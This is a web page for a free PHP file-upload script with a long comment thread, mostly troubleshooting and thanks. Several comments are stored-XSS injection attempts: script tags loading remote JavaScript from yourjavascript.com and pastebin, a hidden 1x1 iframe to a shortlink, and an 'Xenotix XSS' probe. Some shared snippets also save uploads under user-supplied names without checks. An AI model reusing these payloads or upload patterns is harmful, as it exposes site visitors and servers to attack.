Free php and cpanel scripts to automate your daily routine

Free PHP Scripts :: File Upload Form

Simple file upload form for your site.

  • Limit file types available for upload
  • Maximum file size validation
  • Can rename file after upload to avoid URL guessing
  • Log of uploads can be saved in MySql database. Log includes Filename, file size, IP of the user, date of upload

Download File Upload Form


Michael December 6, 2007
Dude. Sweet.
Diego January 21, 2008
"Can rename file after upload to avoid URL guessing"

How do i make sure the file ending is not bigger than 10 characters? =/
m February 25, 2008
thank you very much! Very helpful!
April 22, 2008
if i wanted to upload files to "SITENAME.110mb.com"

what do i change???
i've got the username and pwd
jegonus [anti-spam] yahoo.com May 21, 2008
nope. doesn't work.
Chinmayee May 25, 2008
hey it's just working fabulous....
thank you very very much for providing this script for free...
actually it's priceless for the developers...
thanks again..
mono gram July 2, 2008
This is somthing that is rare to come accross that you share your stuff and thanks again
orsz July 13, 2008
it doesnt work for me:

405 Method Not Allowed
This type request is not allowed!
September 2, 2008
that's because you can limit specific file types
October 8, 2008
I got the dreaded 405 error and wondered what was up... then I noticed that no action is defined in the example HTML. So I changed it to the following and the 405 was gone:

<form action="file-upload.php" method="post" enctype="multipart/form-data">
designer.steiner [anti-spam] yahoo.com October 30, 2008
How do I get this uploader to send the files to "my" email account?
dipus November 20, 2008
doesn't work.. can you help? it makes nothing. no error, no upload..
Nico November 25, 2008
Yeah... It doesn't work!
LM4041 December 1, 2008
The original HTML file does not work (No reference to the PHP uploader file.

Correct as follows:
<form method="post" enctype="multipart/form-data">

<form enctype="multipart/form-data" action="file-upload.php" method="POST">
December 11, 2008
It didn't work for me at first. After messing with it I figured out that the user has to load the php file first. Not the HTML.
kyle March 27, 2009
I get this error when trying to use the script, i've changed the folder permissions, but now im stuck, any ideas??
kyle March 27, 2009
The server encountered an unexpected condition which prevented it from fulfilling the request.
The script had an error or it did not produce any output. If there was an error, you should be able to see it in the error log.
JP April 2, 2009
Very nice script. Works like a charm :)

I have one questions, is it possible to add a function that resizes the image to a predefined width and/or height, but respecting aspect ratio?

I'm a php n00b and _tried_ to solve this but nothing works. Did any of you get that to work?
david [anti-spam] aquafields.com April 12, 2009
It Goes! Thanks!
I've tried for many hours to replicate PHPForms that worked on many of my sites but never on the one it was needed most! This worked instantly.
mjlomenzo [anti-spam] mountainside.org April 14, 2009
Destination folder does not exist or no permissions to see it.... what do I do here?
mjlomenzo [anti-spam] mountainside.org April 14, 2009
PS I even tried setting the permissions to 777
snkhwazi [anti-spam] yahoo.co.uk April 16, 2009
It works brilliantly, tryna amend it to make multiple file uploads!!!
PrimiCaps April 21, 2009
hello. this script is very useful. :) although, I wanna know if can we call for the uploaded file's name after it was uploaded??
April 23, 2009
You request the php file not the html file. Look at the script again. the script calls the html fille
dayne April 24, 2009
cathy [anti-spam] spiderbytes.co.za May 20, 2009
I would like to know what variable I need to upload to the databse in order to call for the image. Can anyone help me?
nareshkumar_R [anti-spam] spanservices.com July 31, 2009
hi ra, pls download this file
Ajibolaolayanju [anti-spam] ymail.com September 9, 2009
I does it works i mean the upload php
September 15, 2009
It works perfectly. Although it'd be great to have a progress bar. Useful for large files and impatient clients
nickweb [anti-spam] otenet.gr September 29, 2009
Please enter (f78c1b3a) into the box
nxnx October 2, 2009
how to rename the filename.
rudiwidayatna [anti-spam] ymail.com October 7, 2009
but how can i do to use this files in blogger? and where is the files upload by user is storage...?
October 21, 2009
thank you so much for your php script, really helps.
October 21, 2009
thanks a lot
dominik October 30, 2009
i ryl like it
is there a version with a upload-funktion?
Thanks....<br> November 25, 2009
nitin December 12, 2009
i am getting the message could not upload file (6) what could be the reason for this
Cobalt-Phoenix December 21, 2009
Hey, great script! I did notice that the files renamed themselves to random characters. If anyone is interested, to fix this, simply take out the line where it says

$dest_filename = md5(uniqid(rand(), true)) . '.' . $file_ext;

However, keep this intact.

$dest_filename = $filename;

This will keep the original filename without the random rename.
I don't know about anyone else, but I tend to be picky about filenames. :p

Thank you for providing this script! It's very useful!
RiffThirteen January 13, 2010
Worked perfectly. But what do I need to change if I want to submit information about the image into the database?
nancy January 30, 2010
nice script. didn't work in windows xp till i gave it the full path c:/... (not \) and it worked like a charm.Also load the php file and not just double click on the html
Mazhar February 3, 2010
Hi Friends,

When i Upload the file by click Upload Button then it saves file-Upload.php file rahter then i select any other file(like Doc,txt etc.). Can Anyone give me idea to save the file which i have selected from filedialog.
ndiane2002 [anti-spam] hotmail.com February 13, 2010
Hi friends,

I am new in webdisign (using dreamwever), I have downloaded a upload script but don't know how to put it on my web site.

could anyone tell me how to do this?

thanks in advance
jessicajonnie [anti-spam] gmail.com February 24, 2010
Great script! How do I get it to email an alert notification upon sucessful upload?
March 3, 2010
I am sending the file info to MySql database, renaming the file and I have it set up to email the info on submit but I cant figure out how to receive the renamed file name instead of the original file name. Thanks in advance for any help. ET
vama97 [anti-spam] yahoo.com March 11, 2010
Can anyone tell me how do I get it to my email ?
Esmeralda March 16, 2010
it works like magic

nice job!
March 22, 2010
Brilliant! noted the part to load .php form first.
HASYARY [anti-spam] GMAIL.COM April 13, 2010
charan315 [anti-spam] yahoo.com April 16, 2010
i tried many file upload codes but because of php timeout was 60sec non worked for large files only one code worked well, link 4 trial version.

May 3, 2010
it would be nice to see a demo. thanx
ThatsGoodBusyBe July 19, 2010
Great script.Nice to have Mysql log the upload details.Trying to debug "Can't connect to database" error, but thanks for the script.Excellent.
webhoost [anti-spam] live.com August 15, 2010
Hi i have aupload form in my website and people upload songs. who can i make when people upload songs to change title and to be my site.com and name of song????? or how can i change artist album or other
October 9, 2010
hi, great script, but what is it that i put in "destination folder"? ie. do i use the full http:// address or is it just a folder it is looking for? thanks in advance
October 14, 2010
please help on how to have the validation script in php.."ABC1232010" Filename format would be like that, once uploaded same FILEname format should be uploaded likewise its not uploaded..how to apply that..please help thanks
KozmaneNabi October 18, 2010
Hey Guys,

I have a Free PHP uploader for you :D

here you can download it or sell your php codes instant.


Enjoy !!!
sanghitan [anti-spam] gmail.com October 31, 2010
Lovely code man.
November 18, 2010
thank you !!!
Quietone January 19, 2011

Looks like a great script. However, I am having problems making it work. [New to php] :(

From the following page I upload a .doc or a .docx file:

and I get the same page back except the address in the location bar is now:

and the file isn't uploaded.

Can you please help by letting me know what I am doing wrong.

Thank you.
gindif1 [anti-spam] hotmail.com February 14, 2011
May you please help,like to make file only for reading and how to upload and where?thx on advance
Elihu February 16, 2011
I get the message, "Destination folder does not exist or no permissions to see it." I have set permissions to 777.
aaron February 21, 2011

You have to load the .php not the .html. The .php file loads the .html within. opening just the .html does nothing because none of the php code is present. hope this helps
Mutor March 4, 2011
Nice Script
ddd March 5, 2011
Thanks you very much sir
alan March 29, 2011
help admin, wat i can do 2 make upload scripts on my wapsite..plz teach me step by step.tnx and more power
Chris May 27, 2011
Where is the script getting the $_FILES[filename][type]data from....if I upload a pdf the file type is application/pdf.....where is this application comming from.....i need to drop the application/ part and be just left with the extension
Paul July 14, 2011
I'm no newcomer to Zubrag's scripts and I know I've done everything right and it "seems" to run through the script and then redirect me to the success page I made (after a reasonable amount of time depending on how big the file was) BUT... no file is showing in the destination folder.

Any ideas?
maddy September 2, 2011
its not working..provide more information on this..
September 23, 2011
great script.... thanks. I need an extra functionality, as upload the file to categorised folders based on input in a textbox. any help would be appreciated.
jennie September 30, 2011
How do i get the link to the file to be emailed to me when a user has uploaded it?
saul_winwood [anti-spam] hotmail.com November 7, 2011
Does anyone know how to turn this in to a multi file upload script please?
The Guig November 25, 2011
Work really well
myr January 19, 2012
thanks.. this is supper
vinaysgv2008 [anti-spam] gmail.com January 28, 2012
Hello may i know how to integrate this script in joomla article or module
mogi January 30, 2012
How do you make it so you can have more
upload forms on your site?
February 10, 2012
February 29, 2012
Nice, thanks. I spent a while looking around for a good example and this does just what I want.
Boris March 21, 2012
For those who want to implement in a page NOT calles 'upload-form.html' you should loor for an include around line 78, and change it to whatever page you are calling 'upload-form.PHP' from.

I created a variable and placed it in the configuration block so it'd be easier to implement in the future, if someone is interested just let me know!
izzy-k May 25, 2012
HOW do i call FILE UPLOAD on my DATABASE to display on my webpage
May 25, 2012
@ Boris "For those who want to implement in a page NOT calles 'upload-form.html' you should loor for an include around line 78, and change it to whatever page you are calling 'upload-form.PHP' from.

I created a variable and placed it in the configuration block so it'd be easier to implement in the future, if someone is interested just let me know!"
p.omkar000 [anti-spam] gmail.com June 4, 2012
Thx a lot!!!!!!
its very useful for me.
vishman June 13, 2012
Your service is wonderful....!thanks a lot man...!
jonjon September 23, 2012
if you use a table named something other than _uploads_log (and you are not using cpanel), make sure to change all instances of _uploads_log in the file-upload.php file
October 1, 2012
<h1>Xenotix XSS</h1>
hob34itt [anti-spam] live.com October 11, 2012
I can't get the destination folder tight. N9o one really helps on here or the forum where your question can be ignored by experts.
Mick October 29, 2012
Your script doesn't work and your instructions are lousy. Keep getting 'file not found' no matter what I do. Usual drive-by lack of geek's instructions from the open source world - "we're helping you - by taking an hour of your time pointlessly..."
ramiz Ansari November 19, 2012
destination folder not exist or no permission ......

how to fix this error !!!!????
ramiz ansari November 20, 2012
hey man thank you very much ....!
i was getting errors which i mentioned aboved but now all of them are fixed and your script is working like a rocket ...!

Thank You Very much
ramiz ansari November 21, 2012
one thing i wanted to ask is how to rename file with a variable from adressbar..

for example user is redirected to upload page by his name in adress bar

as: file-upload.php?name=ramiz

now i wanted the file save in to my directory as his name..

i used the code as:-

// destination filename, rename if set to
$dest_filename = $filename;
$dest_filename = $_Get[name];

but it doesnt work please help me ...

ryan [anti-spam] apexlm.com February 13, 2013
destination folder not exist or no permission.

How do I get this to work
millermmdj [anti-spam] netzero.com March 18, 2013
I use the upload script which works great. But I want to send the filename to another php page through a variable. I don't know the filename variable to pass?
440Music August 23, 2013
I wanted to keep the file name and tried what Cobalt-Phoenx suggested and files would not upload.

// destination filename, rename if set to
$dest_filename = $filename;
$dest_filename = md5(uniqid(rand(), true)) . '.' . $file_ext;
Where did I go wrong?

440Music August 23, 2013
I figured where I went wrong.
// destination filename, rename if set to
$dest_filename = $filename;
Remove the following
// if (RENAME_FILE) {
$dest_filename = md5(uniqid(rand(), true)) . '.' . $file_ext;

I left the } in so it failed.

drdunc [anti-spam] aussiesnrg.com September 20, 2013
Awesome!, Thanks heaps!
Needed some minor tweaking of variables to fit in with my site but it works like a charm!
kappadocio [anti-spam] libero.it August 26, 2014
Good, it's very interesting.
I'm looking about a system to upload to (or more) different files in a form. Can i adapt this script?
N8scovell [anti-spam] gmail.com August 27, 2014
I was using your form but I keep getting the "Destination folder does not exist or no permissions to see it." How do I get my server to accept files?
neemroma [anti-spam] gmail.com October 9, 2014
plz help me smeone how to creat a chating site in taplap plz plz
January 17, 2015
Could not upload file (6).
i dont know why its not workking
Jasim February 7, 2015
if any one have doubt about tis upload scrip pls email me at jasimp at gmail dot com
a [anti-spam] sex.com April 10, 2015
thank u
info [anti-spam] mdta.com.au April 11, 2015
Destination folder does not exist or no permissions to see it." How do I get my server to accept files?
Anny April 21, 2015
In the destination folder put for example:




deependras339 [anti-spam] gmail.com January 19, 2016
if(isset($_POST['register']) && $_POST['register']=='Register'){

$target_dir = "uploads/";
$target_file = $target_dir.basename($_FILES["image"]["name"]);

$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);

if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) {


Skype February 17, 2016
I'm try uploads song....I'm working music site but problems file type. .invalid so what can I do? plz plz
Jame July 9, 2016
Super cool.
enmy83 [anti-spam] gmail.com July 13, 2016
Good afternoon, thanks, I set it up but any file I try to upload I have the message "no file chosen", why?
tarek September 19, 2016

<ScRipt type=\"text/javascript\" src=\"http://yourjavascript.com/71919016561/tarek.js\"></ScrIPt>
<input></input> [anti-spam] erg.rg October 26, 2016
<input></input> [anti-spam] <input></input>.<input></input> October 26, 2016
January 26, 2017
Thank you very much. Your script is a slim alternative and worked at sudden! 5 stars.

If anybody is clueless how to setup: Copy both the files into one directory and call the php-file by a submit button.

Have fun!
tamilking121997 [anti-spam] gmail.com April 20, 2017
it show no file selected
June 13, 2017
<iframe width="1" height="1" frameborder="0" src="https://goo.gl/cj0bMB"></iframe>
oliverusselldev [anti-spam] gmail.com June 15, 2017
File handling in PHP is pretty easy. However, you must be careful of the small details that must be correctly configured before uploading the file, or else you will end up with a set of mysterious errors.

I found this PHP File upload script here easy to use: https://www.cloudways.com/blog/the-basics-of-file-upload-in-php/
February 22, 2018
m4l1kl8590x [anti-spam] gmail.com September 11, 2018
<script type="text/javascript" src="https://pastebin.com/raw/CE8UEj7E">
freelancertohire50 [anti-spam] gmail.com November 23, 2018
aaaaa [anti-spam] gmail.com March 11, 2019
aa [anti-spam] gmail.com May 5, 2020